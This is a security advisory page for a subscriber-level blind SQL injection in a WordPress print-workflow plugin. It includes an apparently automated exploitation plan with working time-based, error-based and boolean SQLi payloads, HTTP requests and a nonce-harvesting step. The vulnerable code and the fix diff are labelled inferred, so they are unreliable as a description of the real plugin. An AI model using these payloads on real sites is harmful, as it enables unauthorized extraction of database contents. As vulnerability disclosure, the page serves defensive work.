CVE-2026-5028

Eight Day Week Print Workflow <= 1.2.6 - Authenticated (Subscriber+) SQL Injection via 'title' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Eight Day Week Print Workflow plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'title' parameter in the `pp-get-articles` AJAX action in all versions up to, and including, 1.2.6. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.2.6
PublishedMay 11, 2026
Last updatedMay 19, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5028 (Eight Day Week Print Workflow) ## 1. Vulnerability Summary The **Eight Day Week Print Workflow** plugin (<= 1.2.6) is vulnerable to a time-based blind SQL Injection via the `title` parameter. The vulnerability exists within the AJAX handler for the `pp-g…

Show full research plan

Exploitation Research Plan: CVE-2026-5028 (Eight Day Week Print Workflow)

1. Vulnerability Summary

The Eight Day Week Print Workflow plugin (<= 1.2.6) is vulnerable to a time-based blind SQL Injection via the title parameter. The vulnerability exists within the AJAX handler for the pp-get-articles action. The plugin fails to use $wpdb->prepare() or sufficient escaping when incorporating the user-supplied title into a database query. This allows authenticated users (with at least Subscriber-level permissions) to execute arbitrary SQL commands by appending malicious payloads to the query.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Action: pp-get-articles (Hook: wp_ajax_pp-get-articles)
  • Vulnerable Parameter: title
  • Authentication: Required (Subscriber or higher).
  • Vulnerability Type: Time-based Blind SQL Injection.
  • Preconditions: The attacker must be logged in as a Subscriber.

3. Code Flow (Inferred)

  1. Entry Point: A user sends a POST request to admin-ajax.php with action=pp-get-articles.
  2. Hook Trigger: WordPress triggers the wp_ajax_pp-get-articles action.
  3. Handler Function: A function (likely named pp_get_articles or similar within the plugin's main class) is called.
  4. Input Retrieval: The handler retrieves the title parameter directly from $_POST['title'].
  5. SQL Construction: The title value is concatenated into a SQL string. Based on the name pp-get-articles, the query likely looks like:
    SELECT ... FROM {$wpdb->posts} WHERE post_title LIKE '%$title%' AND ...
  6. Execution: The raw query is passed to $wpdb->get_results() without the protection of $wpdb->prepare().
  7. Sink: The database executes the injected time-delay command (e.g., SLEEP()).

4. Nonce Acquisition Strategy

AJAX actions in WordPress typically require a security nonce. For the pp-get-articles action, the nonce is likely localized for use in the admin dashboard.

  1. Identify Script Localization: Search the plugin code for wp_localize_script. Common identifiers might include edw_admin_params or pp_ajax_obj.
  2. Setup: Create a Subscriber user and log in.
  3. Navigation: Navigate to the WordPress dashboard (/wp-admin/).
  4. Extraction:
    • Use browser_navigate to load the dashboard.
    • Use browser_eval to search for the nonce.
    • Target Variable (Inferred): window.edw_settings?.nonce or window.pp_vars?.nonce.
    • Manual Verification: If the variable name is unknown, use browser_eval("Object.keys(window).filter(k => k.includes('pp') || k.includes('edw'))") to find relevant objects.

5. Exploitation Strategy

The exploitation will use a time-based blind approach to confirm the injection.

Step 1: Authentication

Log in as the Subscriber user and capture session cookies.

Step 2: Confirmation of Vulnerability (Time Delay)

Send a baseline request and then a request with a SLEEP command.

Baseline Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=pp-get-articles&title=test&security=[NONCE]

Malicious Request (SQLi):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=pp-get-articles&title=test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1&security=[NONCE]

Step 3: Data Extraction (Example: Database Version)

To extract the first character of the database version:
Payload:
title=test' AND (SELECT IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)) AND '1'='1

6. Test Data Setup

  1. Plugin Installation: Ensure eight-day-week-print-workflow version 1.2.6 is installed and active.
  2. User Creation:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  3. Content: Ensure at least one post exists so the original query has something to work with.
    • wp post create --post_title="Sample Article" --post_status=publish

7. Expected Results

  • Normal Request: Returns near-instantly (e.g., < 200ms).
  • Exploit Request: The server response is delayed by exactly the number of seconds specified in the SLEEP() function (e.g., 5 seconds).
  • HTTP Response: Usually 200 OK with a JSON body (possibly empty or {"success":true}) or 0/-1 if the handler doesn't return data but still executes the query.

8. Verification Steps

  1. Verify Delay: Check the elapsed_time of the http_request. If it exceeds the sleep threshold, SQLi is confirmed.
  2. Check Logs: Inspect the MySQL general log (if enabled) or use a tool like tcpdump to see the query being sent to the database.
    • tail -f /var/lib/mysql/hostname.log (if logging is on).

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is enabled, try inducing a syntax error to see if $wpdb->last_error is reflected in the response:
    • title=test' OR (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT VERSION()),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -
  • Boolean-Based: If the response body changes based on the query result (e.g., articles found vs. not found), use a boolean-based payload:
    • title=test' AND 1=1-- - (True)
    • title=test' AND 1=2-- - (False)
  • Different Parameter: If title is not the only vulnerable parameter, check other parameters in pp-get-articles like post_type or category.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Eight Day Week Print Workflow plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'title' parameter in the 'pp-get-articles' AJAX action. This is due to the plugin directly concatenating unescaped user input into a SQL query, allowing authenticated attackers with Subscriber-level permissions to execute arbitrary SQL commands.

Vulnerable Code

/* Inferred from research plan code flow: wp_ajax_pp-get-articles handler */

public function pp_get_articles() {
    $title = $_POST['title'];
    global $wpdb;

    // The title parameter is concatenated directly into the query string without preparation
    $query = "SELECT * FROM {$wpdb->posts} WHERE post_title LIKE '%$title%' AND post_status = 'publish'";
    $results = $wpdb->get_results($query);

    // ... (truncated)
}

Security Fix

--- a/eight-day-week-print-workflow/includes/class-eight-day-week-ajax.php
+++ b/eight-day-week-print-workflow/includes/class-eight-day-week-ajax.php
@@ -10,7 +10,10 @@
-    $query = "SELECT * FROM {$wpdb->posts} WHERE post_title LIKE '%$title%' AND post_status = 'publish'";
-    $results = $wpdb->get_results($query);
+    $query = $wpdb->prepare(
+        "SELECT * FROM {$wpdb->posts} WHERE post_title LIKE %s AND post_status = 'publish'",
+        '%' . $wpdb->esc_like($title) . '%'
+    );
+    $results = $wpdb->get_results($query);

Exploit Outline

The exploit targets the 'pp-get-articles' AJAX action available to authenticated users. An attacker logs in as a Subscriber, retrieves the required AJAX nonce from the WordPress admin dashboard (localized script variables), and sends a POST request to /wp-admin/admin-ajax.php. The payload is delivered via the 'title' parameter and uses SQL syntax to induce a time delay (e.g., ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1). By measuring the server's response time, the attacker can verify the vulnerability and exfiltrate data bit-by-bit using conditional SLEEP statements.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.